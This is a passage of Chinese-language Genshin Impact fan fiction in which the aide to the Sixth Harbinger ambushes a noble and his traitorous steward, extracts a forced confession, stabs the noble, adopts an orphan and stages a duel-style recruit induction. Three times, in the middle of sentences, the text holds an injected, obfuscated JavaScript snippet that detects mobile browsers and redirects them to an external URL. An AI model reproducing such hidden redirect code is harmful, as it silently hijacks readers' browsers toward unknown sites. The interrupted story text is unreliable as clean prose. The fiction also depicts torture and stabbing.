但是庭院和宅邸依旧静得吓人,仿佛天地间就只剩下他们三个人。 月见里清也对他的小动作不以为意,“别白费心思了,我倒是可以给你一个活着离开我面前的机会,前提是你要向我证明,你是否真的忠诚于你的主人。” 他随意一挥手,缠绕着他们的水木藤消散,军士如同一摊烂泥一般瘫在地上,几乎不成人形。 而始作俑者正笑盈盈的看着他,“来玩个游戏吗?” 17. 雪中燎原(其二) 斯米尔诺夫看似年纪不大,实则都是无数补品的功劳,他已经人到暮年。 人老了睡眠质量不好,正常情况下他都是靠着药物入睡,并且在他入睡后,整个府邸都晚安安静的,不能发出一点声音。 今夜他却被一阵吵闹声惊醒,愤愤睁眼后发现是窗户没有关严才透进来的吵闹声。 正当他开口想叫女仆进来,训斥她为什么没有关好窗户时,猛然想起自己睡觉前看了一眼窗户,那时的窗户是关闭的。 从窗户刮进来的冷风夹杂着一股焦糊味,斯米尔诺夫顾不上穿鞋,连忙跑到窗边,被外边火烧连营的情形吓得不轻。 营地出事不可能没有人通知他,但现在整个府邸安静的有些诡异。他大声喊着管家和仆人的名字,然而偌大的府邸却没有一个人回应他。 就在他陷入慌乱之际,房间似乎传来一声轻微的叹息,“老爷。” 斯米尔诺夫被吓了一跳,回过头发现乔里安现在房间的阴影里,眼神里再无平日的掐媚。 “你在搞什么鬼?窗户是你开的?”他怒道。 “是。”乔里安答的干脆,“您也看见了外面的情况,他们随时都有可能打进来,我现在送您离开!” 说完乔里安从阴影里走出,斯米尔诺夫这才看见他半张脸上都是血,也不知是他自己的还是别人的。 “他们带兵的人是谁?”斯米尔诺夫还在挣扎,如果不是没了退路,谁又想放弃这么丰厚的家业跑路呢? 乔里安回道:“月见里清也。” “你不是确保他们已经死了吗!”斯米尔诺夫不可置信道。 “是我判断失误。”乔里安咬牙道。 斯米尔诺夫盛怒之下将桌上的东西全都扫了下去,茶具、摆件通通碎了一地。 乔里安连忙行礼,言辞真切:“老爷想怎么责罚属下,属下都毫无怨言,只是现在他们随时都有可能上楼杀进来,当务之急是您要赶紧离开这里!” 现下情况多说无益,斯米尔诺夫自知自己绝对不能被抓,他甚至连衣服都没换,直接跟着乔里安身后往外走。 作为斯米尔诺夫的心腹,乔里安熟知这所宅邸的所有密道,个别密室相互互通,连起来就像一座迷宫,可以轻松的甩掉追兵。 但今天乔里安的动作慢了很多,以至于“心宽体胖”的斯米尔诺夫跟在他后面都走的不紧不慢。 就在他忍不住发火的时候,那扇熟悉的门终于出现在眼前。 只要通过这扇门,他就可以逃出生天。只要活着,也终会有东山再起的一天。 斯米尔诺夫催促着乔里安去打开那扇自由之门,乔里安仿佛没听到一般,自顾自的按开怀表,“时间整整好。” 斯米尔诺夫一愣,“什么?” 下一秒他身行一晃,摔倒在地,眼前出现重影,装修精致的密室开始层层褪色,露出它原本的样貌,唯一不变的是站在他面前的乔里安。 “最新款致幻剂已经研发成功,我没想到你会成为它的第一个使用者。”乔里安如释重负,俯视着他,嘴上带着点笑意。 幻象褪去,出现在斯米尔诺夫眼前的不再是照明充足的逃生密道,而是黑暗幽闭、还未完工的密室。 这间密室原本的用处是存放财宝,直到战事吃紧,斯米尔诺夫才不得不停止了对这里的建设。 在他的设想中,这所密室应当是最隐蔽的一处,所以哪怕乔里安将他杀了抛尸在此都不会有人发现。 “你这个……这个吃里扒外的狗东西!你要干什么?杀了我吗?!”斯米尔诺夫咒骂着,致幻剂的副作用让他毫无尊严的摔倒在地,以一个极其不雅的姿势趴着,动弹不得。 乔里安就在几步之外看着,饶有趣味地欣赏着,“不不不,我怎么会杀您呢,毕竟恶人自有天收不是吗?我只不过是想活下去。” “为了活着,干什么都不磕碜不是吗。”他一边说一边后退到出口,而斯米尔诺夫只能干看着他离开,从口袋里掏出一个小巧的炸弹。 就在乔里安的手握住房门把手的一刹那,一股巨力袭来,乔里安来不及应对,只能任由那道力打在自己腹部,瞬间飞出一段距离,撞在另一面墙上。 乔里安疼的整个人蜷缩起来,偏头咳出一口血。 炸弹从他手中脱手而出,就在即将炸开之时,凭空出现的水包裹住炸弹,炸弹爆炸的威力随着水泡化作泡沫,消失不见。 斯米尔诺夫吓得愣在原地不敢动,僵硬地望向门口。 “夜安,二位,希望你们能够理解我的深夜到访。”一道冷淡的声音传来,月见里清也虽然笑着,但语气里没有丝毫温度。 他的视线挨个划过房间里的二人,最后停留在斯米尔诺夫身上,嘴角一弯,讥笑道:“斯米尔诺夫老爷的接待礼仪……还真是独特呢。” 斯米尔诺夫闻言脸色涨成猪肝色。 “在我将人叫来之前,我想先处理一下咱们之间的私事,没问题吧。”月见里清也拖过一旁的椅子坐下,宛如他才是这座府邸真正的主人。 没人回答他,月见里清也权当这两人默认了。 斯米尔诺夫被他这丝毫不客气的态度激怒,但他现在唯一能依靠的乔里安刚刚就在他眼前叛变,又挨了一脚,月见里清也刚才那一脚一点没收力,乔里安现在连起身都难易做到。 乔里安喘着粗气,“……你一直在演戏?” “答对了,不过我并没有准备什么奖励。”月见里清也说着注意到斯米尔诺夫飘忽不定的眼神,打了个响指,蓝色的水流汇集在出口,凝成了一道水墙,将房间彻底封死。“各位还是省省力气吧,这场对话很快就能结束。” 斯米尔诺夫脸色又黑了一个度,副作用的效果在衰退,他强行支撑起自己的身体,最起码让自己看起来有个人样。 但他笨重的体型和迟缓的动作让他看起来像一只笨拙的熊,月见里清也没忍住自己的嘲笑。 “……”如果不是自己身体不允许,斯米尔诺夫老爷现在已经冲上去跟他拼命了。 “咳。”月见里清也清了清嗓子,从口袋里拿出一张纸,为了照顾瘫在地上的乔里安,月见里清也俯下身,将纸张放在乔里安眼前:“乔里安先生看它眼熟么?” “你……故意的?”乔里安死死盯住月见里清也。 月见里清也说:“我不扮猪吃老虎,怎么能把你们这条大鱼钓上来呢?” “你们到底在说什么?”斯米尔诺夫问道。 胜负已定,月见里清也不介意浪费一点时间解释一二,“在你和大人谈判前,乔里安先生与我进行了一段私人对话。据他透露,他很感激你对他的提拔,于是为了显示他个人能力,策划了五年前的袭击案与前不久的港□□炸案。” “并且明确表明,这都是受斯米尔诺夫老爷指令,其目的是为了守护自己在至冬的地位与财富。”月见里清也说,“而这些我都记下来了。” 乔里安闻言大声反驳道:“我没有!咳咳……我没有这么说过……” “啧,你说没说过重要吗?”月见里清也说着,按住乔里安的手腕,用力一拧,手腕被卸掉的剧痛瞬间令他痛呼出声。 月见里清也捏住他的右手手指,在他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896356|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己吐出的血迹上沾了沾,往纸上按去。 一个鲜红的指印出现在纸上。 “胜者才有说话的权利。”月见里清也冲着二人晃了晃已经完成签字画押的供词。 斯米尔诺夫不顾一切向他冲去,想夺过那份该死的纸,把它撕的一干二净。“你这是在做伪证!” 然而月见里清也一挥手,年近半百的斯米尔诺夫老爷被一道水波打倒在地,摔的他头昏眼花,半天没反应过来。 “下一个就轮到你了,斯米尔诺夫老爷何必这么心急呢?”月见里清也不紧不慢的说,“至于伪证,你觉得我会让他再开口说话吗,只要人不在了,就是死无对证,不信也得信。” “你觉得女皇更相信我呢,还是你这个叛军首领呢?” “你…你这个卑鄙小人!”斯米尔诺夫叫骂。 月见里清也不理会一旁的叫骂声,在乔里安的耳畔轻声说,“我记得你好奇博士的实验?而且我记得你们贵族还要研发了一个药剂,你上次让我试了试,效果确实不怎么好。正巧这几天博士缺人手,我会让你们好好交流一下心得的。” 乔里安大惊失色,再也不见之前的从容与狡诈,“你答应过我的……” 但月见里清也却轻轻一笑,转头对斯米尔诺夫说:“你看,挑下属要谨慎,如果不是你日落西山,你永远也看不清他是什么货色。” “在他找你之前,我和他达成了一个小约定,要是他能秘密杀掉你,我就给他一个活着离开的机会。”月见里清也将半小时前达成的约定娓娓道来,“结果显而易见。” 如果目光能化作刀,斯米尔诺夫要把乔里安捅的千疮百孔了。 “我说话算话,你确实能活着离开我面前。”月见里清也说。 至于能不能在第二席里活下去,那就全靠他的本事了。 何况他记得乔里安对博士的实验室也很好奇,既然有愿望,他就会满足,月见里清也自认为自己非常好说话。 但他与散兵同样的睚眦必报。 他单手抓住斯米尔诺夫睡衣的后衣领,将他强行拖拽到一旁的椅子上。 斯米尔诺夫喘着粗气,冷汗浸透了他的衣服,出口灌进来一阵冷风,才感觉到一阵刺骨的凉意。 “我记性不太好,你帮我回忆一下。”月见里清也说着,用水元素凝出一把匕首,与那天散兵捅自己的那一把一般无二,“我哥哥那天捅自己的地方在哪来着?” “是这里?还是这里……亦或是这里。”月见里清也每说出一句就换个地方,匕首在斯米尔诺夫的右胸上游走,尖锐的刀尖透过布料触及皮肤,凉意与疼痛交织在一起,快要把他逼疯了。 月见里清也说:“顺带一提,前几日的爆炸是散兵大人送给你的回礼,而这一刀……” 话音未落,月见里清也避开要害,干净利落的将匕首捅了进去,冷冷道:“是我给你的回礼。” 血液喷涌而出,房间里回荡着斯米尔诺夫的惨叫。 月见里清也很想一刀抹了两人的喉咙,但他理智尚在,明白他们不能死在这。 与此同时,在外面待命的士兵听到惨叫后赶来收拾残局,他们都是第六席的士兵,即使看到了什么也会装眼瞎。 外部防守营的大火终于被扑灭,剩下的士兵见上司都被抓住,更是没有想要战斗的心思,纷纷缴械投降。 月见里清也一边听底下人汇报情况,一边将沾满血迹的手套脱下来扔进火堆里,摸出一副备用的换上。 第二天的太阳照常升起,除了大火过后的一地焦黑,不会再有人知道昨晚发生了什么。 18. 捡个孩子 斯米尔诺夫府邸的收尾工作完成后,月见里清也带队度过冰湖,返回第六席的后方大本营。 斯米尔诺夫和乔里安的伤势有月见里清也用元素力护着,加上营地里的医生和至冬天然的冰窖天气,并无生命危险。 但月见里清也回来后并没有将他找到了梅瑞狄斯这件事告知卢西安。 营帐里,散兵看了看月见里清也又看向梅瑞狄斯,言下之意就是给我个解释。 月见里清也刚刚述职完就叫人把梅瑞狄斯带了过来,后方营地条件比前方好不少,营帐里的温度对月见里清也来说有点热,他不紧不慢的脱下大衣,将情况简单明了的跟散兵说了一遍。 知道情况后的散兵眉尾一挑,“有意思。” 月见里清也勾了勾嘴角,他自己也说不准到底是捡了个便宜还是惹了个麻烦,他走到梅瑞狄斯面前,“现在知道我是谁了吗?” 梅瑞狄斯有些僵硬地一点头,“知道,愚人众第六席执行官的副官。” 月见里清也伸手一指散兵又问:“那他是谁?” 梅瑞狄斯回答:“第六席执行官。” 月见里清也略微一点头:“还行,知道自己收集情报。” 梅瑞狄斯闻言悄悄松了一口气,但这一小动作被月见里清也尽收眼底:“紧张什么,我是能吃了你?你火烧敌人营地的勇气呢?” 梅瑞狄斯侧过头不再看他。 “呦,还说不得了。”月见里清也好笑道。 散兵抬手在他肩膀处拍了拍,提醒道:“说正事。” 月见里清也两根手指在眉骨处碰了一下,没个正行,“是,长官。” 梅瑞狄斯既不是犯人也不是下属,月见里清也没有苛责他的必要,示意他自己去搬板凳坐下。 月见里清也问:“为什么去烧斯米尔诺夫的营地?” “为了能留下来。”梅瑞狄斯说,一双碧绿的眼睛直视着月见里清也,“你说过的,我有得有价值你才会留我。” 月见里清也:“……” 本意只想吓唬孩子,好让他别动不该动的心思,回去乖乖睡觉的他一时间不知道说什么。 该说这孩子死脑筋吗。 “你就没想过,他只是随口一说,其实压根就不想留你。”散兵接过话茬。“哪怕你不放那把火,他也可以完成任务,你只是在白费功夫。” 梅瑞狄斯一时语塞:“我·····我没想那么多,只是想先试试看。” “而且从一开始你就搞错了一件事,第六席执行官是我,哪怕月见里清也是我亲自选的副官,也没有自作主张的权利。”散兵声音凌冽,没有半点商量的余地。 梅瑞狄斯脸色煞白,嗫嚅着说不出话。 架在火上的水壶发出咕噜声,月见里清也借着倒水的动作遮掩脸上的笑容。 眼见威压给的够了,月见里清也不紧不慢的给了一句提醒:“你现在的身份还是一个来路不明的小鬼,需要交代什么不用我多说了吧?” 梅瑞狄斯脑中紧绷的弦有所松懈,无意识扣着手上的死皮,扯了扯嘴角,“没什么好讲的,就和许多有钱人的故事一样。” 梅瑞狄斯·塔利,被拐来至冬以前是从小生活在奥摩斯港的须弥人,但他的人生跟许多复仇小说的主角身份一样,是个枫丹富商的私生子。 不过与小说不同的是,他的生父和母亲并不相爱,那个富商仅仅是因为母亲的美貌和长生种特征就强占了她。在这之后富商花钱找了个替罪羊替死,而自己逍遥法外。等到他母亲发现自己怀了孩子后,已经来不及打掉了。 不过好在母亲在一段时间后遇到了一位男士,在他的帮助下逐渐走出了阴霾,她给自己的孩子取名梅瑞狄斯,并冠以自己的姓氏,不仅仅是希望自己的孩子以后能够乐观、无忧无虑,同时也是对自己的期许。 他的父亲是个来枫丹旅游的须弥猎手,经常带着带着梅瑞狄斯外出打猎以补贴家用。 而梅瑞狄斯也一直如名字里期许的那般,过着普通一家三口的生活。 这样的生活直到那位富商感染怪病暴毙而结束,富商生前并没有立遗嘱,死后几个孩子为了争夺家产打的不可开交。 于是在某一天,他们不知通过何种方式知道了梅瑞狄斯和他的母亲的存在,即使梅瑞狄斯是私生子,在法律上没有直接继承权;即使他和母亲已经搬离枫丹十几年不曾打扰过他们。 但在利益面前,每个人都是面目可憎的怪兽。 富商的几个孩子极有默契的调转枪口,他们雇庸了杀手,在梅瑞狄斯的面前杀死了他的母亲和父亲,随后又因为他拥有长生种的特征,把他高价卖给了人贩子,被拐来了至冬。 得益于父亲教授给他的知识和长时间打猎练出的身手,他趁着夜晚看守熟睡逃跑,他想回去亲手杀了那几个人渣,但在人生地不熟的至冬他根本不知道要怎么回去,就在他在雪原打转的三天,快要昏倒的时候,他被散兵派来寻找逃跑孩子的人手找到了。 “就是这样,神之眼是在逃跑后自己出现的。”梅瑞狄斯将自己十六年的人生简要复述了一遍,至于后面的被卢西安找到后求月见里清也带自己走、半夜逃跑、火烧斯米尔诺夫的营地,这些月见里清也和散兵都知道,没必要再讲第二遍。 二人听后都没发表意见,他们活了近五百年,什么样的悲欢喜乐没见过,何况他们自己的人生就和幸福美满差了十万八千里,梅瑞狄斯的故事触动不了他们。 散兵只是说:“还有个事没交代。” 梅瑞狄斯的心又紧绷起来,舔了舔有些干裂的嘴角:“什么?” “说难听点,你讲的这些跟我们都没什么关系,真正跟我们有关系的你却只字未提。”月见里清也说,“为什么赖上我了呢?” 梅瑞狄斯说:“我现在的能力不够,加上没钱回去枫丹。” 月见里清也继续追问:“为什么是我?我一没救你,二没吹嘘过自己的身手。” “我听到了你跟那个男生的讲的作战计划,一般都是能力强大的人带领队伍。”梅瑞狄斯回答。 月见里清也被这天真的原因逗乐,但这仍不够说服他。“那去壁炉之家一个样,那里的母亲也会交给你战斗技巧。” 梅瑞狄斯沉默片刻:“听一起被救的孩子们说,跟着走会被带去一个孤儿院,我不能呆在孤儿院里被人收养,我要回去报仇。” 散兵和月见里清也像是听到了过于好笑的笑话,都在笑梅瑞狄斯的天真。 “我该说你是年少无知呢,还是蠢呢。”月见里清也笑叹一句。 “算是对那个伪君子最高的夸奖了。”散兵讥讽道。 梅瑞狄斯不明所以。 “行了,你是去是留就看执行官大人一句话了。”月见里清也看向散兵,等他定夺。 散兵对这件事失去了一开始的兴趣,转身坐回办公桌前,“看我干什么,人是你要带回来的。” 不是说别人没有自作主张的权利吗?梅瑞狄斯更加晕头了。 月见里清也听后小声嘀咕一句:“又是这样。” 随后递给梅瑞狄斯一杯水,“先说好,愚人众不是什么为人民服务的军队,虽然我不会让你入职,但你会跟着我手下的人一起干活。你以后若是后悔,也没有可以逃离的方法,逃兵一律处死,明白了?” 梅瑞狄斯郑重地一点头,“明白了。” “嗯,”月见里清也满意的一点头,“你先跟着杰林住,让他给你换身衣服,其他的等回至冬我在给你具体安排,就是抓你回来看守你的那个。” “那个······我以后该怎么称呼您?还有·····”梅瑞狄斯看向散兵,既然他不入职,那跟着其他人喊大人会不会有点奇怪? 月见里清也说:“我教你东西,你还打算直呼其名不成?” 听懂他言下之意的散兵轻笑出声,听到声音的月见里清也微不可察地瞪了他一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896357|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在梅瑞狄斯反应并不迟钝,“我知道了,老师。” 月见里清也眉眼一弯,显然很受用,“至于大人么…整个第六席上上下下都叫大人,跟着喊就行了。” “另外,别让除这里外的其他人听到你喊我‘老师’,明白了?”月见里清也又补充了一句。 梅瑞狄斯虽然不很懂,但还是点点头表示自己知道了。 梅瑞狄斯离开营帐后,就剩下月见里清也和散兵二人。 月见里清也凑到散兵跟前:“你就不好奇我最后为什么答应留下他吗?” 散兵撇了他一眼:“你都带他来我跟前了,我还问什么,你不是已经打定主意留下他了?” 月见里清也嘴角一抽。 这倒也是。 如果月见里清也瞧不上这小鬼,早就打包扔回卢西安那里了,搞这一出就是为了让自己同意留人。 散兵又不傻,月见里清也心里那点小九九他能不知道吗。 至于留下梅瑞狄斯的原因也不难理解,孩子小,可塑性强,并且梅瑞狄斯本身素质就很好。月见里清也不让他入职,却让亲自教导他,让他跟着下属住在一起,跟着一块干活,看似在压榨童工,实则在帮助他摸清第六席各个部门的分工。 梅瑞狄斯会因为没有官职而不是任何人的上司,帮助他和士兵们打好关系,放松对他的警惕。同时因为他和月见里清也的特殊关系,他会将这些员工的表现与异动告知月见里清也,也是因为这一原因,梅瑞狄斯不能表现出跟月见里清也有任何特殊关系。 可以极大的避免再次出现有人中饱私囊或者被安插间谍的情况。 说白了月见里清也的目的还是为了管理好第六席,让散兵不用再操心这些杂事,所以他不会因为这点小聪明生气。 见散兵对自己的先斩后奏没有意见,月见里清也松了口气,他刚一出帐就被士兵拦下,士兵递过来一个统计名单请他过目。 月见里清也扫了一眼标题,就推回给对方:“孩子们的统计名单给我看什么,送到卢西安手里去。” 小士兵的得了命令就要走,没走几步又被月见里清也叫了回来:“算了,拿过来给我看看。” 月见里清也接过名单迅速浏览了一遍,最终找到了排在倒数第二行的梅瑞狄斯,干脆利落的将他的名字划去。 名单再次回到小士兵手里,这下月见里清也没有问题了:“走吧。” 队伍出发时太阳高照,气温有所回升,再加之上一次大雪后再也没下过雪,回城的路并不难走。月见里清也借口去前面探路,实则是为了躲卢西安。 但该来的怎么躲也躲不过,卢西安气喘吁吁的从队伍后方赶过来,气都没喘匀就问:“月见里大人,名单上的孩子不对吧?” 经过那一夜后,他已经不会再对月见里清也直呼其名了。 “怎么不对?”月见里清也语气平淡,丝毫不见心虚。 “名单里有个被划掉的名字,大人不解释一下吗?”卢西安质问道。 月见里清也反问:“有个孩子跑掉了,又没找到,不应该划掉吗?” “我出发前明明看到他了,这个名字是被大人故意划掉的对不对?”卢西安说。 “是吗?那为什么当时你不抓住他。”月见里清也直勾勾盯着他,“或许是人员混杂你看错了也不一定呢。” 卢西安咬咬牙,大声斥道:“我不愿跟大人争口舌之快,还请大人把孩子还回来,壁炉之家会给他们提供优秀的教育和温饱!” 周围小队的队长想上前阻拦卢西安,却被月见里清也拦了回去。 “也许是刚才我的话太过客气,让卢西安队长理解错了?”月见里清也眼里露出一丝杀意,一字一顿道:“你看错了。” 卢西安鼓起的勇气就像漏气的皮球,泄了个彻底。 月见里清也随便点了个士兵:“送他回自己的队伍,在回城之前都要保护好他的安全。” 19. 入队仪式 回去之后,散兵忙着述职,月见里清也也没闲着,开始安排梅瑞狄斯的去处。 月见里清也没有一开始就教授战斗技巧,梅瑞狄斯现在的首要任务就是恢复正常体重,把体质升上去。 所以让他先跟着杰林接触比较轻松的工作,先熟悉熟悉环境。 等到贵族余孽被处决,已经是小一个月之后的事了。 为了这件事愚人众几乎出动了大半的力量,就连已经转文职的卡斯珀也不能幸免。 贵族被清算,无形之中又给愚人众捧了一把火,最近这几日报名加入愚人众的青年越来越多,月见里清也接到通知,几日后可能还有一批士兵加入第六席。 上次新兵的入伍仪式还是他硬拖着散兵去做的演讲,但散兵对这个事不感兴趣,“无聊”是他对这个环节最高的评价。 月见里清也发愁,只能试着去找散兵商议。 “不要。”不出所料,散兵一口回绝。 月见里清也哭丧着脸:“别啊,你不出面算怎么个事啊,你就别让我为难了哥哥。” 散兵不为所动,伸手将月见里清也的脑袋推远:“第六席不需要这些形式主义。” 月见里清也心累,他把文件盖自己脸上在沙发上躺尸,过了五分钟突然弹起来看向散兵。 文件从他脸上滑落,散兵又看着他那副滑稽样问:“又怎么了?” “你不演讲,但露个面可以么?”月见里清也盯着他,大有一种你再不答应,大家都玉石俱焚的感觉。 散兵被这哀怨的眼神逼迫:“……行。” 第二天一早,被闹钟吵醒的月见里清也第无数次产生了想要赖床的想法,但是这个想法还没付诸行动就被他自己给扼杀在了摇篮里。 按照日程安排,今天是进行新兵入伍仪式的日子,本来少一个执行官就不合适了,副官再翘班,这烂摊子可就真没人收拾了。 他烦躁的将被子蒙在头上,五分钟后,自己把自己哄好的月见里清也踢踏着拖鞋去洗漱。 月见里清也将一捧清水拍在脸上,强迫自己收起脸上这幅半死不活的表情。 强打精神的样子虽然状态比不上之前,最起码看起来像活着了。 到达第六席的基地后,月见里清也没和往常一样去忙自己手上的工作。事实上,了结完贵族的事后,第六席就进入了没任务的休整状态,大家的工作都很清闲。 “今天的入伍仪式在下午两点举行,仪式过后就没有其他安排了。”月见里清也一边走一边给散兵汇报今天的行程。 散兵一早就答应过月见里清也自己会到现场,点点头表示知道了:“你这几天跟那几个队长准备在仪式上搞什么名堂?” 由于散兵不想演讲,月见里清也对这个事情也没兴趣,所以他就联合几个部门的负责人,准备搞一个不那么形式主义的入伍仪式。 “这个嘛,就请大人下午自己去看个究竟了。”月见里清也并不打算现在说,卖关子道。 下午两点,在这个气温堪称一天最暖和的时候,刚来没多久的新兵被各自队伍的队长带到操场。 等了一会也不见有人来,列队等待的新兵开始窃窃私语,被队长瞪了几眼后才安静下来。 像是有意晾着他们一样,五分钟后,散兵和月见里清也才姗姗来迟,在他们身后还跟着好几个人。 从肩章上来看,官衔都不低。 在散兵简明扼要的说完必须由他说的开场白后,就将位置交给月见里清也,由他介绍接下来的入伍仪式。 别出心裁的入伍仪式介绍完,底下的新兵就像水溅到油锅里,直接炸了锅,任凭底下队长怎么维持纪律都没用。 月见里清也也不恼,示意一旁站着的几个部长各就各位。 在他的安排里,考验从这一刻就已经开始了。 他干不出动员喊话这种事,就统合了其他部门对士兵的要求,想出了现场比试这一招。 从他公布与自己比试这一消息开始,在一旁的部长就开始暗中观察,挑选自己需要的士兵。 比如侦查和情报部门的人需要的是有耐心和细心的人,他们不会在一开始就莽撞的上去找月见里清也挑战,而是仔细观察,审时度势。 反之,先遣队和战斗部门就很需要第一时间向前冲,勇敢无畏的人。 至于外交和审讯科的人,他们在新兵里只占少数,但想要找到他们也并非难事,他们会在意识到自己无法赢得胜利时选择在人群中游走,选择符合自己队伍要求的人,并邀请他们加入自己的队伍。 所以月见里清也并没有管这几乎失控的场面,而是任由发展。 “我没听错吧?和执行官大人比?”一位新兵正对着他旁边的人窃窃私语。 “不是和执行官大人比,是和副官大人,呐,就那个,跟执行官大人长得差不多,留着长头发的那个。” 那位新兵看去,见那位副官绀色长发扎成马尾,对这场面不闻不问,甚至还有心情靠在柱子上正跟执行官大人说着什么,还有说有笑的。 “呃……是我的错觉吗?我怎么觉得这位副官看起来挺文弱的?” 等到说话声渐渐平息,月见里清也才将注意力转回他们,他整了整手套,拍了一下手让底下的人都安静下来,“我相信刚才说的大家都听到了,我不规定每次挑战的人数,想几个人就几个人。” “实力决定一切,要是实力不够……”月见里清也笑了一下,故意停了停,“运气也算实力的一种,万一幸运女神会降临在你这边呢。” 月见里清也走下台子,众人让出一片空地。他抬手打了个响指,以他为中心,四周水光突现,眨眼间围城了一个不小的正方形场地。 水元素在他手上聚集,他握住仿佛有实体的水流,水流向右延伸,一把青色的长刀浮现。 他随手挽了个刀花,笑的张扬且肆意,“谁先来?” 众人你看看我我看看你,最后还是一个长得壮实的士兵壮着胆子走上来,水线在他过来时自动断开让出路来,在他走进去后又自动闭合。 但壮实并不代表实力,他甚至都没在月见里清也剑下撑过几招,后面一连上了两三个人皆是如此。 月见里清也刀术奇特,出招步步走的都像是舞刀,身法优美又凌冽,每招都取人要害。 出于实力的差距,他没有用神之眼,紧靠刀术取胜,下手有分寸不至于伤人。 比试的目的不在于取胜,而是让这帮新兵学会合作共处,散兵身居高层,月见里清也也不能时时盯着底下部队,用这种方式减少新兵磨合冲突,还能搓搓他们的锐气,一举两得。 被击下擂台的士兵按规定不能再次登上上擂台,他们身后浮现了一个水元素标记,上面记录着他们在上面坚持了多长时间。 很快新兵们就意识到了不能单打独斗,开始四五个的上。但他们的实力与月见里清也是无法相比的,最后一波被月见里清也送出去后,他把青璃谭一收,那把浑身剔透的青色长刀又消失在一片水光里。 他示意从一开始就站在旁边的几个部长开始挑人,对着新兵说:“不用紧张,这几位是负责第六席不同的部门,他们会根据你们刚才的表现选人。” 这时大家才明白他一开始所说的“实力决定一切是什么意思”。 即使是选人,场面也没有变得乱哄哄。几个队长训练有素,挨个喊出自己名单上的人选。 选人有条不紊的进行中,完成露一面任务的散兵事了拂衣去,却不想在自己办公室的门前碰到了卡斯珀。 介于上次被推过来当说客的任务完成的十分完美,卡斯珀一直被这帮老滑头们‘征用’到现在。 每次都是他来通知月见里清也第六席又有新兵加入的后果就是——月见里清也这几天一见他就犯ptsd,连同散兵一起,看见他就以为是来送人的。 散兵沉默片刻说:“第六席塞不下那么多人。” 刚准备开口打招呼的卡斯珀:“……” 卡斯珀刚认识散兵和月见里清也的时候,三个人都是最底层的士兵,虽然散兵看着不好相处,但还好有月见里清也在,三人的关系也渐渐变得不错。 没有旁人在,他也就不在意那些虚礼,哭笑不得地说:“不是因为这事,你托我调查的事有结果了。” 散兵推开办公室的门,“进来说。” “贵族的事都处理的差不多了,他们的资产全都清点入库,我去查过了,并没有你托我找的那件东西。”卡斯珀说,“他们甚至连枯萎的古枝断片都没有。” “我也调查了他们近几年的交易记录,多半用来花天酒地,没有地脉物质的交易。” 散兵面色一沉,贵族没用地脉进行研究对至冬来说是一件好事,但对他来说不是。 没有地脉物质,也就意味着月见里清也的核心断片并不在他们手中,当年活剖了他的人并不是贵族。 作为博弈的另一方,凶手只能来自于愚人众内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896358|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部。 有个名字在散兵心中呼之欲出,只是还没变得明晰,就被卡斯珀打断,“说起来,你有没有注意到最近士兵间八卦,说月见里清也难为跟着去执行任务的小孩?” 散兵骤然回神,“听说了,大概是为了那个小鬼的事。” 虽然月见里清也用武力强迫卢西安承认自己看错人了,但卢西安又不傻,他回去后肯定将情况告知库嘉维娜和壁炉之家的一众兄弟姐妹们。 消息传着传着,就变成了月见里清也一路上都在刁难卢西安。 卡斯珀使了一个眼色,“第四席那边对他意见有点大,虽然大家都是当八卦听,但是你也懂吧,真要让他把那个孩子留下?” 散兵并不在意这件事,“由他去吧,别把天翻过来就行。” 在训练场的月见里清也忙完入队仪式,正处理起八卦的源头。 旁边一士兵悄悄过来说:“按照您的吩咐,给梅瑞狄斯的身份都安排好了,只不过……恕我直言大人,他并不适合呆在第六席。” “哦?”月见里清也挑眉问道:“他都干什么了?” 士兵递上一份简陋的地图,月见里清也扫一眼便知这是基地的驻防图。 “叫他去我办公室。”他说。 自从贵族行动结束后,月见里清也就对梅瑞狄斯实行放养政策,没有几个月来没有过问一句,好像真的忘记他的存在一般,但实际不然。 这几个月里有关梅瑞狄斯身份的消息不胫而走,除了年龄上有所隐瞒,其他的都大差不差,三言两语之间就把他塑造成了一个被贵族深深伤害,决心要铲除贵族而加入愚人众的孩子。 人对于苦命的小孩都会有一些怜悯,出于这些原因,梅瑞狄斯在第六席和众人的相处还不错。 这也是月见里清也想看到的局面,跟士兵们关系好,他们才会降低对梅瑞狄斯的防备心,自己的计划才能尽快实施。 但月见里清也并不是完全放心梅瑞狄斯,据前一段时间盯着他的人汇报,梅瑞狄斯还算老实,并没有出现什么偏激的行为,现在看来这不过伪装罢了。 办公室内,梅瑞狄斯规矩地站在一旁,小心翼翼地观察月见里清也的表情。 